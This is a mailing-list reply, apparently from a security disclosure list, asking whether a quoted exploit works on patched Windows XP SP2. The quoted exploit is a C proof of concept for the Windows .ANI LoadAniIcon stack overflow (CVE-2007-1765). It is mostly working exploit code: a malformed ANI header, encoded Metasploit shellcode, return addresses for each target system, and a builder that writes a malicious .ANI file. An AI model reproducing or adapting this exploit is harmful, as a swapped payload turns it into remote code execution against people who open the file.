Re: Windows .ANI LoadAniIcon Stack Overflow

[wac <waldoalvarez00 () gmail com>]

Hello:

Does this works in *fully patched* XP pro + SP2? Mine seems to be totally
immune (not even crashing). XP  Pro + SP2 + 0 patches crashes (probably
landing somewhere else in memory).


On 3/30/07, dev code <devcode29 () hotmail com> wrote:
> /*
> * Copyright (c) 2007 devcode
> *
> *
> *                       ^^ D E V C O D E ^^
> *
> * Windows .ANI LoadAniIcon Stack Overflow
> * [CVE-2007-1765]
> *
> *
> * Description:
> *    A vulnerability has been identified in Microsoft Windows,
> *         which could be exploited by remote attackers to take complete
> *         control of an affected system. This issue is due to a stack
> overflow
> *    error within the "LoadAniIcon()" [user32.dll] function when rendering
> *    cursors, animated cursors or icons with a malformed header, which
> could
> *         be exploited by remote attackers to execute arbitrary commands
> by
> *    tricking a user into visiting a malicious web page or viewing an
> email
> *    message containing a specially crafted ANI file.
> *
> * Hotfix/Patch:
> *    None as of this time.
> *
> * Vulnerable systems:
> *         Microsoft Windows 2000 Service Pack 4
> *         Microsoft Windows XP Service Pack 2
> *         Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
> *         Microsoft Windows XP Professional x64 Edition
> *         Microsoft Windows Server 2003
> *         Microsoft Windows Server 2003 (Itanium)
> *         Microsoft Windows Server 2003 Service Pack 1
> *         Microsoft Windows Server 2003 Service Pack 1 (Itanium)
> *         Microsoft Windows Server 2003 x64 Edition
> *         Microsoft Windows Vista
> *
> *         Microsoft Internet Explorer 6
> *         Microsoft Internet Explorer 7
> *
> *    This is a PoC and was created for educational purposes only. The
> *         author is not held responsible if this PoC does not work or is
> *         used for any other purposes than the one stated above.
> *
> * Notes:
> *         For this to work on XP SP2 on explorer.exe, DEP has to be turned
> *         off.
> *
> */
> #include <iostream>
>
> /* ANI Header */
> unsigned char uszAniHeader[] =
> "\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
> "\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> "\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
> "\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
> "\x61\x6E\x69\x68\xA8\x03\x00\x00";
>
> /* Shellcode - metasploit exec calc.exe ^^ */
> unsigned char uszShellcode[] =
> "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
> "\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"
> "\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
> "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"
> "\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"
> "\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
> "\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"
> "\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"
> "\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
> "\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"
> "\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"
> "\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
> "\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"
> "\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"
> "\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
> "\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"
> "\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"
> "\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
> "\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"
> "\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"
> "\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";
>
> char szIntro[] =
> "\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"
> "\t\t\tdevcode (c) 2007\n"
> "[+] Targets:\n"
> "\tWindows XP SP2 [0]\n"
> "\tWindows 2K SP4 [1]\n\n"
> "Usage: ani.exe <target> <file>";
>
> typedef struct {
>         const char *szTarget;
>         unsigned char uszRet[5];
> } TARGET;
>
> TARGET targets[] = {
>         { "Windows XP SP2", "\xC9\x29\xD4\x77" },       /* call esp */
>         { "Windows 2K SP4", "\x29\x4C\xE1\x77" }
> };
>
> int main( int argc, char **argv ) {
>         char szBuffer[1024];
>         FILE *f;
>
>         if ( argc < 3 ) {
>                 printf("%s\n", szIntro );
>                 return 0;
>         }
>
>         printf("[+] Creating ANI header...\n");
>         memset( szBuffer, 0x90, sizeof( szBuffer ) );
>         memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );
>
>         printf("[+] Copying shellcode...\n");
>         memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
>         memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) - 1
> );
>
>         printf("%s\n", argv[2] );
>         f = fopen( argv[2], "wb" );
>         if ( f == NULL ) {
>                 printf("[-] Cannot create file\n");
>                 return 0;
>         }
>
>         fwrite( szBuffer, 1, 1024, f );
>         fclose( f );
>         printf("[+] .ANI file succesfully created!\n");
>         return 0;
> }
>
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